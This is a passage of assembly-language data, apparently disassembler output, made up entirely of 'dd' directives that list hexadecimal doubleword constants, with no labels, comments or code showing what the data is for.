		dd 5FEBEABh, 6BDF9C01h,	1E1388B7h, 8296AA24h, 0F2F3AECCh
		dd 407F7B5Dh, 0C2E8605Eh, 0F2372C4Ch, 7B868E52h, 811749ECh
		dd 0BAD9796Ah, 8BE56A0Bh, 6122FEB7h, 3008BA2Eh,	277775A8h
		dd 0FE7F6097h, 0E847093Eh, 0EF9E4FFDh, 6258458Fh, 0C8922531h
		dd 7DD89899h, 8AB738E0h, 34292C25h, 85D2D5BDh, 0E906BC8h
		dd 4A83F01Dh, 0E6D664FAh, 696FEEA1h, 7C67446Dh,	0FC0006F8h
		dd 0A92C393Fh, 5FF7E7E6h, 4C142EE8h, 2D7CAA58h,	372951A4h
		dd 0F8C2C396h, 5A6CCF98h, 37BB838Fh, 0FA5B3C21h, 45598E95h
		dd 75520CC4h, 0FE5DFCA2h, 0B0BC8B57h, 0FE12320Dh, 2D4EEFADh
		dd 4ED7C2A8h, 96F84918h, 58AEAC9Bh, 8E33BF56h, 22148E03h
		dd 55D38E87h, 0B6E0E3ABh, 2B419101h, 13A7059Ch,	46F241CEh
		dd 0A81935F7h, 65E91945h, 0F1426579h, 3D4107ECh, 0CD7FE798h
		dd 1EAEF645h, 0A160D16Bh, 0DBC4BFBh, 0CFCA049Bh, 38D118D0h
		dd 0F52D3D33h, 4A5715CEh, 0D802AF7Ah, 5E8E3C4Fh, 0D9F06A83h
		dd 0CD7DC1C9h, 0FE6D6502h, 0D2C07C2Bh, 0BF063F1Eh, 23155494h
		dd 716720CCh, 7EA9E038h, 0AB9BD944h, 0E2A93227h, 6B248AAAh
		dd 2BD99563h, 0EAB3DF04h, 662F8B25h, 0E7EBF181h, 0D4A8B6FFh
		dd 3F998172h, 0E55A7ED8h, 101E5FD8h, 67A36C19h,	0DE90E7D3h
		dd 0B74C01A9h, 6BBE804h, 0C667B253h, 49B55AF1h,	7F89791Ah
		dd 0E2E33DBDh, 98ADEF8Bh, 8501E442h, 52EF9E74h,	0B1E86A03h
		dd 4CEBE2h, 0B9F0F6DEh,	8AED0D33h, 64B019CCh, 8A1DD05h
		dd 0FC3FD673h, 18C46AC3h, 0A8BDB28Ah, 75CF727Bh, 0D9037649h
		dd 6AD4347Dh, 400B1h, 8676AB5Ch, 0D1E91B93h, 0C53CE74Ah
		dd 0CCE0ADAFh, 0AFF4F94Bh, 5193C363h, 734DFDA9h, 19430B30h
		dd 6F438CDAh, 0C4798920h, 62AE87D2h, 0BC167DCDh, 0EFB2F6BDh
		dd 7C3C5824h, 0CDA1F553h, 594BB762h, 46CA474h, 136A804Ah
		dd 0B5855BF1h, 0A3BFE242h, 2E1EB088h, 0D780570Eh, 229D6246h
		dd 1CEB2E21h, 4AFE7D16h, 66B9EEBDh, 13F2FE81h, 414F186Dh
		dd 0D16E5986h, 990B3464h, 7E0CF035h, 0E83C641h,	0F37E6EF8h
		dd 0D8CB6BBh, 0E3625F83h, 6A85C158h, 781CE2Ah, 0C90382FFh
		dd 90A10A7Fh, 3459502Ah, 29D9DA38h, 0D5B1404Fh,	0D131D71Ah
		dd 0F2093EE8h, 1F544B5Ch, 0E28445D8h, 350C719Fh, 0A13E9F15h
		dd 6D8C6DB3h, 40AFB9C0h, 71E12FC7h, 9C23A6C5h, 9BB89A9Ch
		dd 2194F3A4h, 0F60676B8h, 0B9805475h, 8A534201h, 0DAF150A7h
		dd 0C16B2343h, 8088B570h, 9B16FB31h, 0EFEAF11h,	196E92D1h
		dd 78B9C4B7h, 4DF636EAh, 93AD3223h, 46BB2FF8h, 0F17610B4h
		dd 1EB8FDCDh, 34C9A7B1h, 5D6DA7D7h, 1487E6E5h, 0D1D8336Ch
		dd 94975A72h, 0E420A204h, 7E00D7FEh, 39A133FEh,	1FCA457Dh
		dd 6A30D749h, 32671BBAh, 0C28F57ADh, 315C7072h,	0ADD2E84Bh
		dd 96BC210Dh, 8A03043Dh, 0E9823689h, 0CC9A823Bh, 28F15454h
		dd 4A0E9F41h, 7302F87Ah, 4310E951h, 5379360Bh, 0E4835060h
		dd 0E144DAA8h, 0C2933318h
		dd 4CAFD3A3h, 2F470C7Ch, 48685F57h, 613E7448h, 7F066E1Ch
		dd 0D57F9741h, 0B8C9E44Ah, 0E792BC90h, 0D53F9C07h, 0FD99904h
		dd 4EA0D443h, 534A7D78h, 0F57C9042h, 0DBFFEF6Fh, 723BD6h
		dd 0B657523h, 31ADE3A6h, 58B11C6h, 8627837Bh, 0E87FEE69h
		dd 878F75F4h, 0AA167FC0h, 0A9823E31h, 0ED71E429h, 4CCD9470h
		dd 7F5AE6C5h, 0E1D3DA6Ch, 55F24830h, 0B28FD134h, 83F30D78h
		dd 0FE08EAA3h, 0E5B7E900h, 7968F03Dh, 0C4DD0755h, 51AA3264h
		dd 6ED4629Eh, 2158A432h, 0BBD0D97Ah, 0FFAEB386h, 0EA4FFE48h
		dd 1CDCA1A3h, 7CC491Ch,	4E6939FFh, 63228870h, 0A222CA99h
		dd 0A88696B7h, 0B0CE40A4h, 0EC3B3E57h, 0B37E0F43h, 3DBA2DA8h
		dd 652F025Eh, 0D2194E5Dh, 333BDEFCh, 4354B9D8h,	0CC7DE16Ch
		dd 8BAB80CAh, 0E0038341h, 2B3FE8C3h, 0F397FCABh, 5709E36h
		dd 38C68537h, 2625854Ah, 0A377BE3Dh, 9817E59Eh,	0C0A52899h
		dd 75837AA3h, 5791189h,	0BC19E43Ah, 4A24FDF8h, 0D1AF37ABh
		dd 0F832D08h, 42625418h, 5EF62935h, 0EBE91F3Eh,	5D57D39Ah
		dd 9641012Bh, 43AE66F5h, 704D71EFh, 864583F9h, 0EC4E7A1h
		dd 6BA191D9h, 33DED37Ch, 0EBA2E34Bh, 0AF630BE4h, 3BD3583h
		dd 44E51B78h, 0E85BC0F5h, 0F99EB59Ch, 0E578B99Dh, 67837A68h
		dd 779BC963h, 82222C9Dh, 80FAEE90h, 9AE2171h, 0A317B539h
		dd 0D2380C1Fh, 0B97EA218h, 5070F779h, 56E2BF53h, 0C6A91BBEh
		dd 0F54B78CAh, 30AC3B2Ah, 8D39EA22h, 68F3D3E1h,	25FAF557h
		dd 10596D35h, 0DAE90409h, 8D48B8C2h, 41DCA828h,	0DBC5CDE7h
		dd 57451F7Eh, 89C5DDE9h, 0AB51B7A2h, 0E1F49A49h, 0DA497527h
		dd 407C616h, 0FF5E03EDh, 18CFEEC3h, 0C1708800h,	0A78B7DEDh
		dd 116FBD9Fh, 79DD89D6h, 0BEC036C1h, 2E51D06Ch,	4E2E5F47h
		dd 644D704Ch, 345DD533h, 0BBC6D075h, 0ADD1C4BEh, 4D067C9Dh
		dd 0A87AE644h, 0FFB4D871h, 893FDCEAh, 8E5531AFh, 2C0860C1h
		dd 0B7785EF1h, 8123CCDAh, 0B7B6D92Fh, 0F1924A29h, 0F6C9FA76h
		dd 0FD407016h, 780C2D49h, 6D201A12h, 0ADAD9B1Ah, 0FEADBB4Eh
		dd 28E6DDAh, 0F0E9DACh,	5971187Bh, 975E19CDh, 0CF96757h
		dd 0C01B7A2Dh, 0E9297E31h, 44DB5BB6h, 658E2674h, 0EE7E28BEh
		dd 88B554F6h, 2B250E36h, 151CDC9h, 31B16980h, 3BA3988Eh
		dd 69865440h, 0A2CEDCEEh, 0E1FB9B74h, 155AF74Dh, 71245446h
		dd 1D440310h, 5910369Fh, 0FD15DAECh, 0C86947B9h, 5F5322FFh
		dd 1728BD70h, 2907575Bh, 1173C96Dh, 17F6C049h, 7BDFDF34h
		dd 0C17228DAh, 9C1AB20Ah, 0C1FCA572h, 0D3A345D6h, 69BED7Dh
		dd 0BDC7DFDDh, 389017B4h, 74E218B8h, 0EF805520h, 0FCC26548h
		dd 0C93EF73Eh, 0C1CF73B4h, 55C42636h, 0D457CBF3h, 7D3DA575h
		dd 56C99FE9h, 4EE2D535h, 0E0E6DA9h, 0BC7BE21Bh,	2A24EF5Eh
		dd 0E893E09Ch, 4FE5D6EFh, 0AB92DAFBh, 0E8CC533Ch, 43C1C613h
		dd 579144DDh, 0F895BAF7h, 0A4B0DB0Ch, 0CCCC76B1h, 0FF9F3F9h
		dd 0F5CAFB2Dh, 0A8430BF4h, 0D867C04Dh, 26CA0101h, 977D819Ah
		dd 454C84BFh, 3B4DA3DAh, 0B31E315Dh, 923C3770h,	17610032h
		dd 0AA31A6F9h, 0E9375454h, 6DAB9079h, 2B66FFD9h, 0F29183BBh
		dd 0EAD73655h, 0C3D57951h, 0CACFFC67h, 9473AE38h, 0E88B4E1h
		dd 0FE114807h, 1C4A682Bh, 0F0151B44h, 0F1031E37h, 0AB56FFB8h
		dd 0B1A43DA9h, 0BF839CAh, 0A5962BFEh, 0F5BAB2D9h, 0E44F00ABh
		dd 5A995CD1h, 0EE0A620Fh, 443A69AAh, 565B6C18h,	7F8645F8h
		dd 41997F31h, 2ED9F00Ah, 52E8696Ch, 0E8CE9BECh,	1AD77339h
		dd 0CC80A428h, 0F643EA4Eh, 0EF05676h, 0C2934701h, 0F07726C7h
		dd 9539B86Ah, 0D37ADD63h, 6551E0C8h, 0F33779C8h, 3325DE8Bh
		dd 4822DF8Ch, 0C8E7C92Fh, 14B2376Eh, 319FD5CDh,	13FA421Bh
		dd 6F3E40FAh, 7862BF7h,	0AB635E73h, 8066F1E5h, 0D70BC10Dh
		dd 8ED2B5FDh, 77872FFAh, 669A0A90h, 49CE6C00h, 0BEFBF2Fh
		dd 9171947Eh, 4793DC73h, 0A56DC4D0h, 0D59478Ah,	0B20714F9h
		dd 0E2A34D6Ch, 920C51C3h, 9E0724ECh, 0D5F025BBh, 84CBDC7Ch
		dd 6CF7261Ch, 0BB1F6BA9h, 0F9DCC01Eh, 2FF7655Eh, 90557CCEh
		dd 0CC9154D6h, 6789EC3Bh, 31D1116Fh, 8AFCC059h,	7E122A7h
		dd 0B656B0Bh, 82F57462h, 37CFF90Fh, 0A5F4C0E2h,	94C4CFE5h
		dd 309AE97Dh, 5FEAF21Fh, 7D9E6D80h, 0DA2989E6h,	0D28A57E9h
		dd 85F327C0h, 0C45D228Ah, 0F99AC228h, 7A9CEB3Eh, 6181B407h
		dd 13964FFAh, 504401EAh, 666FABE4h, 5157EDBDh, 0FBEA83FDh
		dd 9A56A24h, 4EFABA8Bh,	93CF9D0Ah, 278239h, 1717E07Ah
		dd 31C5A262h, 49B06832h, 0BD2417B2h, 6516164Bh,	0A08F66F5h
		dd 0D58DC3FCh, 3F31EB4Ch, 0EBDE90CBh, 2FF46B2Bh, 3494D3B2h
		dd 92536FCBh, 0ED2BF119h, 6DCCCDFCh, 86C6E641h,	0BFBEE886h
		dd 0AFECBD20h, 2E0781C0h, 0A20FEE3h, 8921ABBFh,	0C87B0615h
		dd 1CEC166Eh, 44AFBDF7h, 687CEE46h, 0B6F905BBh,	0A070363Dh
		dd 7F6AE0F4h, 291D3AC2h, 16E4F1EEh, 5719311Ch, 0B83D2A7Ah
		dd 589367A3h, 0C8832C83h, 924389EAh, 0F65DA825h, 0E11613BDh
		dd 41D69337h, 4153B7F3h, 0BA80AF26h, 0A1901FEAh, 7446A3F1h
		dd 647B1321h, 992126BCh, 0BCB6AFA0h, 0CF4EDC10h, 0B7002F97h
		dd 5D794C8Ch, 95B3D48h,	3C4FEB4Dh, 68F53DE3h, 0C3D97F8Ch
		dd 0FF6CFE1Bh, 4C9E09Ah, 6F42D8B1h, 0EA529D01h,	0EB88AC90h
		dd 0A0721514h, 18E03A6Bh, 0ECF1483Dh, 465394D5h, 262811DEh
		dd 63797117h, 0BB847A5h, 9B9F0932h, 5D985B57h, 0EB858428h
		dd 0AE999191h, 48714C88h, 60F380D2h, 8635C8FDh,	0C71AB67Ch
		dd 0E668B44Eh, 0F1634A15h, 54D6521Bh, 0B746458Bh, 4C3C8F2Ch
		dd 0EB895E55h, 1C9A8D80h, 3653AF46h, 45354BDh, 2DA8524Bh
		dd 58F84949h, 83EA76F8h, 0ADAFA790h, 6F27DC63h,	0B4888E6Fh
		dd 0F38DD5EAh, 0EF79A68h, 875390BCh, 0C2589075h, 0D4EE9784h
		dd 88723EDAh, 9A89B0E8h, 6FEADC5h, 7C6CD5A6h, 0C26F4A39h
		dd 1A1D0AB9h, 2D6CB9CFh, 0E46C390Eh, 0F2C3550Ch, 52543E87h
		dd 0FCD721E3h, 46EE18C9h, 4B8B0FB5h, 0D42A41A7h, 41752A98h
		dd 9748262Bh, 94A18E07h, 646D146Fh, 0D4A0EDFFh,	9BF0B3Bh
		dd 49650B0Fh, 0AA08F8F5h, 1F0E59EAh, 370734EBh,	6574B71Ah
		dd 19CBB05Eh, 89DF7AEBh, 1A8EF5BCh, 0EB814460h,	9F2FB4F9h
		dd 0C2577FD2h, 22F27DC2h, 816D3ECh, 0E75CED61h,	0E4859E20h
		dd 1670A95Dh, 9AAD3F3Bh, 0C40076B8h, 86DE48FCh,	0A10904Eh
		dd 0FFBF3E56h, 7817A3F6h, 284D4ADDh, 0DC8426D0h, 0D8918Eh
		dd 0D03D2B1Dh, 0D70D7EEAh, 0DF6D907Ch, 1BE93D6Fh, 2CFF50F4h
		dd 0BBD46317h, 2C3BEB49h, 0DA912A19h, 5D9C2F8Eh, 0EC0471FEh
		dd 9EFAA233h, 0AFBB7BB2h, 52D47467h, 0AE1D22EFh, 12731A6Eh
		dd 9E4CA78Fh, 4A467170h, 9A8D7A27h, 0F179766Bh,	3C45AF8Fh
		dd 0A5DA7BD9h, 0E48F1C8Ch, 871578BEh, 6E094E6Bh, 17A96420h
		dd 56B57288h, 690E38Dh,	0A7E418D9h, 431F4BF6h, 0F3D9EFh
		dd 9C90ACD0h, 30952655h, 7B4E6ADFh, 5FE9BE3h, 0CCDBDB44h
		dd 65F501A7h, 3DDDE5CBh, 5399D7D6h, 0ED42C7F9h,	0FE9EBD74h
		dd 0A80F45Eh, 0AC8A7EE8h, 0C7103E02h, 0D6EF8C7Dh, 198A8718h
		dd 94DA05CBh, 1B84DD06h, 651FB8Ah, 7BE1AA5Ch, 4BBD38BBh
		dd 0A6D0B6B5h, 7D0E7562h, 0C0FA3B3Ah, 851C8DE8h, 4362E9F3h
		dd 0FB20D56Bh, 621F8062h, 193C872Bh, 0BBD77E0Ch, 0BA1E79FDh
		dd 8B2C6578h, 0F0E81962h
		dd 0C4551140h, 0EA73A328h, 0D9AF3289h, 0CB634BC3h, 18CCEC8Dh
		dd 0E8A6AC46h, 7946BB2Ah, 0F5D03338h, 6E425C6Eh, 2DA77009h
		dd 0E4CC1D1Ch, 0BF62B7DDh, 0F0DD1D68h, 2C933DC8h, 0C44CA46Eh
		dd 37EFE016h, 0A14BAC42h, 0D6E1A462h, 804370D8h, 4F65663Eh
		dd 50A2D51Eh, 911AD15Bh, 58CE52A0h, 9CB3F20Dh, 8DD4333h
		dd 21EA7E4Bh, 0D34093BDh, 0A444CF67h, 42B0E133h, 5C356624h
		dd 0CE667A8Bh, 6679158Ah, 0D7092E75h, 0AEB27E9h, 0A865121Eh
		dd 0E1D0FBA3h, 382D4494h, 0ADF8E251h, 1C904CB2h, 0AB63D00Fh
		dd 0F5D70313h, 0BABD2B73h, 58A1404Bh, 0B7C5DDD9h, 4678A7C2h
		dd 972CC3FEh, 0B8DD4F3h, 0E7A06F3Bh, 9CD497E9h,	6EE1D122h
		dd 4CBC5914h, 514E432h,	7C61344h, 72EFFE22h, 0CFD1BD8Fh
		dd 0B9B66E35h, 8AB53624h, 0CD558573h, 96EC3998h, 304DA937h
		dd 6D35BC03h, 19A50576h, 10F46572h, 4E624D3Bh, 20926Eh
		dd 78950B91h, 4085E1A8h, 7D6E3F96h, 4542D668h, 18BB5323h
		dd 0EED35E1Bh, 6FD6849Bh, 0CBB416B8h, 3BC0BA00h, 3FDC08BCh
		dd 639EAA3h, 0DE724EDDh, 9CA92375h, 76E7B80Ch, 486C642Ah
		dd 97643A2Eh, 0F2DF7881h, 0F364A33Ah, 110B065Ch, 63E26D5Eh
		dd 541469C5h, 8CDC0EF9h, 9AE02658h, 0FBDB0482h,	0D85F2BE9h
		dd 0F6BCA31Bh, 8773B455h, 0E5DF3870h, 46725214h, 0F56D27CAh
		dd 0F99A4815h, 99301B5h, 0B8389946h, 4D903ED0h,	0C1C317DDh
		dd 91C5C44Eh, 5D5B8459h, 0CAAC3DE1h, 331B3075h,	0FF38E25Ah
		dd 56DBFA9h, 0C9F42D2Ah, 9B78424Fh, 0E8153CB6h,	8AF7D723h
		dd 23535A2Dh, 1764CA8Bh, 0BC3B7E55h, 4C9FB30Dh,	0CCFA3967h
		dd 0CA3F6BFDh, 0C99BE58Ah, 41A5BF65h, 5CB0329h,	34F3028h
		dd 83AC9359h, 62B03D8Ah, 354B896Ah, 5A280061h, 8AA9186Ah
		dd 36843D33h, 91245243h, 62F530DAh, 0E81A6440h,	5F18DE7Ah
		dd 0BEAB66E0h, 7E0DAFB7h, 0DEA69B0Dh, 1E2AA579h, 4380638h
		dd 0B260C4EFh, 9E7DB11Ch, 0AFDEAB0Ch, 90AC8536h, 436501B2h
		dd 6D75A7DEh, 0A9FD4842h, 9AEB617Bh, 2A9A6BE0h,	6365E699h
		dd 0F463ACB4h, 9D6E187Dh, 341EEA32h, 1C3C6E2Ch,	0EA3A44EEh
		dd 0F784AD6h, 984C3EBEh, 8EC947AFh, 83D80B08h, 0C508CDA2h
		dd 18C008Bh, 6D03D3C3h,	6901169Dh, 36DCC8AEh, 820BF7D5h
		dd 0CE85634Fh, 1BB5E0D7h, 2F14403Ch, 0AB00660Fh, 41E56C81h
		dd 60C14D10h, 1FA503CCh, 0A17920B2h, 59E03B8Fh,	0F4C4E7F7h
		dd 6322ECA3h, 353CD5ABh, 0FFB9942Bh, 0D6006AEBh, 88F94DB4h
		dd 0D972C40Eh, 0DFFDCE45h, 75D2AE8Ch, 38CB9840h, 6CB73C32h
		dd 5D9FF096h, 2830A44h,	30CBEEAh, 0D65E18D9h, 0D6A18900h
		dd 41134404h, 0E4EB504Ah, 78D57E0Dh, 0C936F257h, 0A055B372h
		dd 2ABBFF75h, 7A3D4621h, 42379D1Dh, 703F00B1h, 87CD153Eh
		dd 0C9893EECh, 7AFCDAC9h, 7E7300C3h, 0E3B3CE21h, 51EE00CAh
		dd 0B3E4BEE1h, 49AD6A3Ch, 0DCE23B1Ah, 33675904h, 0CAB396FEh
		dd 6A5B4BDDh, 7D72DE8Bh, 179BCCE0h, 94A39080h, 0EA62801Ah
		dd 0B62E3E91h, 2AAFDDB3h, 8F437830h, 0DCA4C46Eh, 0EDE92C44h
		dd 0B0C23F48h, 0DE06F600h, 89A801CEh, 0A741139Bh, 770F1D93h
		dd 3B0203B3h, 2F98EBF1h, 6108ED6Eh, 1F0E52E0h, 21FC76D1h
		dd 32507A1Eh, 459C09FFh, 92AB0DE0h, 578FA9D5h, 856AC6ADh
		dd 0D7D4AE31h, 19600066h, 0F30F1FC4h, 0F1A5902Bh, 64689BD4h
		dd 29FBDA7Ch, 9428F87Ch, 0CC9F3131h, 12C5ED1Ch,	0F7C46D84h
		dd 69CAD931h, 0FBAA99CDh, 98081886h, 434AEB2Dh,	0D91B465Bh
		dd 0AE30596Eh, 5E2BF88Bh, 6570916Ch, 0F10EC43Ah, 0DAD533E0h
		dd 1F8192EDh, 8B5C31D0h, 0C49D37C1h, 16741B68h,	631125A8h
		dd 0E7253510h, 789BEBE3h, 0E0319615h, 0D59EA976h, 8F6F8028h
		dd 0D62B6E5Fh, 0FC416A66h, 5EF1B74h, 4700CFh, 4926BFF5h
		dd 0C4CC498Ah, 21297774h, 0EB763C73h, 24AA3D94h, 8B91EF34h
		dd 82181F24h, 598E5F32h, 690FA713h, 47E0ECDh, 5C098451h
		dd 2D261D6Eh, 50541ECDh, 0CEB60F69h, 0A5ACE186h, 70380DDCh
		dd 0E20A3B3Fh, 0B6503A06h, 7099EA9Dh, 0C6A4360Ch, 3926A621h
		dd 41665F55h, 0ECBE6628h, 4FE54F29h, 0F45A9965h, 0A6A70C65h
		dd 1C5F9411h, 0E31BD6CFh, 40FC0E2Bh, 0DCEF102Ch, 2E83BFBh
		dd 6ABEA2A6h, 0B37DCFCFh, 93A8B493h, 9A82D953h,	0D2D87059h
		dd 390AD0B9h, 4AB5DEC2h, 331B220h, 47AD95A3h, 0D33D6A9Eh
		dd 4A4FA895h, 0FC836493h, 8027D0B1h, 0F9A68B4Ah, 9AC6D52Fh
		dd 0CB1F0F96h, 0C443A344h, 682CBFF8h, 69496B92h, 7164C103h
		dd 0B8694609h, 0FD3CC3FFh, 0E66D8D77h, 4E800E89h, 0FE1FE905h
		dd 0E0CC418Eh, 7A9BE1BDh, 0DA979C65h, 3119359Fh, 37A38552h
		dd 22D24A3Ch, 52B23FB8h, 2E316B05h, 0E9E0F43Eh,	6A04846h
		dd 4AA0EF1Ch, 0D77BD111h, 3B8F20FCh, 0BB3C694Ah, 0FB9B2D7Dh
		dd 316DE867h, 2C196234h, 72F4599Eh, 0AF80A8B2h,	0C7F32A6Ch
		dd 0E81880F0h, 3221E0E6h, 0A1346DF7h, 6426F557h, 862353F0h
		dd 427E833Bh, 0CF4E692h, 26648E33h, 9379710h, 0F59CED0Eh
		dd 0AC69446Bh, 0C3991F1Ah, 7F825A82h, 162CA528h, 0FE8F37Eh
		dd 7190C365h, 755A4B9Bh, 0E7895B21h, 17D91CFBh,	235D9D11h
		dd 849B04E4h, 0B31C164Dh, 455B9B32h, 0DB5D7F51h, 7C11C202h
		dd 1B66D4BBh, 0BE298484h, 0CF010A9Ch, 0D6194411h, 0BA126CC2h
		dd 1D6B9FD5h, 8D3E7377h, 44C7BB5Dh, 0F3BB96E4h,	96B5752Eh
		dd 0CD90BBE7h, 3FFEB5C1h, 980F222Eh, 3908A366h,	0A3521D96h
		dd 0CD45911Dh, 0A4561539h, 0DA1A32F6h, 3A06C91Fh, 0EC988ED4h
		dd 8EB89E99h, 0AF41B33Dh, 1EDBA20Eh, 6C5FFAD9h,	0C412EDF3h
		dd 16DDFBE7h, 3F8553BFh, 0C774B3BFh, 0C3EBA138h, 0FAB3A5F3h
		dd 387B5955h, 0E0BEDBD2h, 2A775323h, 0ED372EEFh, 56DBB2A8h
		dd 3771BCA6h, 434ADF0Fh, 0C4FE9FC3h, 0ED0117AFh, 0CAA83706h
		dd 641902C8h, 1B5E0A62h, 66D4B738h, 78E5B40Ch, 9EB94C94h
		dd 62DD2715h, 968A9E0h,	0DC29CBF1h, 948539C0h, 90B30607h
		dd 0AF0C7A8h, 931E8FF3h, 783D3177h, 0F380605h, 1F9927DEh
		dd 2AA0964Ah, 0DDE02C4Dh, 2C2AD038h, 4784288Fh,	198310F8h
		dd 882B6EC7h, 0C919AD3Bh, 562DEB03h, 0BA00B53Fh, 0F401BEBBh
		dd 8EA5C990h, 4323967Eh, 1DD73385h, 9AE886F9h, 0A537748Bh
		dd 0A454BB5Ah, 0D92D443Ch, 0ED34E40Ah, 3AF5D7D7h, 345B0FE0h
		dd 2B356C73h, 0E56506h,	5A19CEC6h, 552B0213h, 68438C0Fh
		dd 6510B9FEh, 152B96B5h, 98F91315h, 60C17FCAh, 0F7643412h
		dd 472B36D5h, 32252B28h, 38D16A50h, 21061483h, 0ACD40334h
		dd 3E619840h, 41A29D3Dh, 0ECAF09Ch, 0C4C3966Dh,	7AEEFE61h
		dd 0C43CADA8h, 97CF9A2Bh, 48CA87B9h, 72867DB1h,	43D61797h
		dd 231C3AEh, 7DFD9E60h,	484095B6h, 0D8EAACCDh, 21BE4B98h
		dd 0F2DC98F9h, 0CE183436h, 4F09E76Dh, 0B31A6DB7h, 30271A6Fh
		dd 0D2E06523h, 0C12305BAh, 8ED51693h, 0D006560Ch, 0E31D59B3h
		dd 1C07DD78h, 2245D008h, 99B919C2h, 17D887A2h, 407DEDBCh
		dd 62F52F27h, 4C0B126Eh, 529C3BD1h, 0E5B1B4A6h,	0C13204B3h
		dd 2392E28h, 4E0E08C3h,	285B2900h, 0CB6CEE21h, 5040E062h
		dd 0F4953E5Eh, 38A2FE1Dh, 3BEB34E8h, 0E8CAE187h, 0EC124DC3h
		dd 0A0A57090h, 9D9C11B2h, 9614B568h, 10A4BED2h,	9355263Fh
		dd 0C3B8692Ah, 73031162h, 0A8B5FFB4h, 0AA23C82Fh, 48821E28h
		dd 8C605B84h, 0D3BCA99h
		dd 0B8A4F9F6h, 3E5A8E17h, 48D6042Dh, 0E5D1B0C9h, 97C5C73Dh
		dd 0BC385A1Dh, 70108016h, 17FD9560h, 1F2296D1h,	52727870h
		dd 832545DAh, 7978EFD3h, 346C9925h, 17615334h, 0E79E05Bh
		dd 0D9C4F714h, 7DE2077Ah, 0F3948A42h, 0AC9F8895h, 30953284h
		dd 3E060222h, 1FF49394h, 4A699C34h, 1E5B8C78h, 12D8A324h
		dd 0A4D961B7h, 53CA72BCh, 86A0FDFFh, 11C5EA5Bh,	6F02EBF0h
		dd 582FD4Fh, 0B9B853DBh, 1E3FC40Fh, 6335D58Dh, 0BCD67021h
		dd 44C1938Ch, 4B5F19Ah,	995C09C2h, 3DC44169h, 796A70h
		dd 0DC859D92h, 3637CC3Ch, 0F450AEF0h, 34C090B7h, 0A2766707h
		dd 50964F89h, 0FD2B2049h, 85E8B283h, 0C31DFC2h,	0B292F097h
		dd 0B000660Fh, 13E6B407h, 0B5768061h, 0EA5C832Ch, 725A922Fh
		dd 0C6957317h, 41E98F25h, 0C6A16134h, 656924C5h, 99F5E551h
		dd 2335A38Ah, 6B6E1AA4h, 0F7B95AEFh, 0F4A7839Ch, 0B14FA663h
		dd 2CB9DD21h, 17688E04h, 8DA06645h, 5ADAA240h, 161B503Bh
		dd 2E6F78FDh, 0B92BE42Bh, 6F5D0463h, 45663571h,	7D510B65h
		dd 0BFDE724Eh, 0F026EB6Dh, 0BD84CE03h, 0C19C5F9Ah, 2E009E7Eh
		dd 248634B7h, 87DAC5CEh, 45100DCh, 2E71A561h, 417DBE98h
		dd 65BE414h, 0EC7E26CFh, 0FE368CDBh, 8B6ACB50h,	88070613h
		dd 55A13AC0h, 0E02D6B6Eh, 6BADC21Ch, 45174180h,	0AA65D698h
		dd 3E08FFADh, 3F15C8E2h, 221345A0h, 478DAC99h, 0D329329Ah
		dd 0F6CDDC1Ch, 0FDB2D8C9h, 0BA6770E1h, 0B31DE65Ah, 9A916E39h
		dd 0A1D00146h, 0AAC48D94h, 0A384249Dh, 21AD5452h, 69C3E4D7h
		dd 211E67B0h, 20C4C9C6h, 0FACAF395h, 71896A99h,	0B5D86416h
		dd 7F96EFB1h, 0F241B602h, 0EA4062C2h, 98360DA6h, 0F742CD6Ah
		dd 0A11C45B5h, 0F9A9812Dh, 575CE600h, 30710116h, 6A43A6BFh
		dd 170F6C72h, 15DE4511h, 0A73DFDB5h, 0C1AFF2h, 88A0BA51h
		dd 6D5B1A09h, 5474D2E3h, 3EC1118Eh, 539D1C00h, 0E2A8DCAAh
		dd 0A9E36006h, 0AB2E58F7h, 5F1E30E5h, 56F6AACAh, 0E2D38D4Ah
		dd 0A0BAF598h, 518BCC9Bh, 5799E16Ah, 7146DFBFh,	54E4D48Fh
		dd 9CBD1610h, 0EA99B8h,	8079C90Eh, 0F9801BA4h, 62B4EBA8h
		dd 9613B65Bh, 2DC1AB81h, 4E807054h, 3E71826Ah, 4E1B128h
		dd 0CC3795F4h, 5BBB8EEFh, 0AD93C2DFh, 0ECCDAA0Ch, 508B2DCFh
		dd 16AEB45Ah, 0D45481B6h, 1A6BBFE3h, 0D6884F06h, 9F087B76h
		dd 0A5998FF2h, 0B4B7AAF3h, 53EE9A08h, 0CE304B2Eh, 18A9BDA4h
		dd 87CC2DBFh, 1EBD0D0Bh, 8E1E4FABh, 8CD84A6Eh, 8AD4869Eh
		dd 0E0827926h, 3E744450h, 9B9B9AC7h, 6946EBF5h,	0DAC21CECh
		dd 0D0C858B8h, 746C3CD9h, 7CCABED8h, 0BB9FC770h, 0CB83354Fh
		dd 0EC953AFEh, 0B8AD75B3h, 0E52E99CDh, 95787C86h, 76E361B6h
		dd 261C136Ah, 4B2BF9Ah,	341FA884h, 49FB506Ah, 0D17F6A99h
		dd 618795F7h, 70B9C084h, 93A73B58h, 9367DF16h, 7587BC70h
		dd 4562EAF1h, 0D50B8CEEh, 0A9CD4329h, 1392A8A5h, 3A7AD436h
		dd 0F258735h, 51452876h, 97C21ADCh, 1CCA0193h, 0DEC3968Fh
		dd 365461ABh, 0DA42331Dh, 0B2658E7Ch, 0E853B1EBh, 85EA109Eh
		dd 0C3E9E4E0h, 0E8AA0152h, 0A30E34CCh, 5D75AFC1h, 81087B8h
		dd 0FD20894Ah, 0A7CD1EB3h, 241D1132h, 0C2225C20h, 266EB92h
		dd 0F7406020h, 0F7841D4h, 0CF9597BAh, 28940A68h, 998AA1F1h
		dd 7093F0F3h, 564121C4h, 0B27F1008h, 0FEC2DFBh,	5F36187Eh
		dd 0D2763E87h, 47C0BBC5h, 93330921h, 0FD80991Ch, 134CA95Dh
		dd 0F76B50CEh, 72205758h, 3A50858Ch, 1D3D0CBBh,	0C56ADBC5h
		dd 0AD4B9133h, 8235554h, 794A102Ch, 52907476h, 8F01D220h
		dd 0D6D5D375h, 0B84B848Ah, 0B6491B14h, 97DD19E3h, 16D663D1h
		dd 9E0EAF39h, 0D524C178h, 0B1A9FE46h, 7719300Eh, 0D5599773h
		dd 2BFAE72Ah, 148602F6h, 0B06B4830h, 69EEACADh,	0FFB06181h
		dd 1EE7C208h, 83D80664h, 98AD846Fh, 2370854Dh, 29B07969h
		dd 42F6BE4Dh, 0CCB2B928h, 1C04506Ah, 381BDE40h,	5E380713h
		dd 6747782Fh, 0ECD7B315h, 0AB5969D6h, 6ED955A0h, 794E6D4Dh
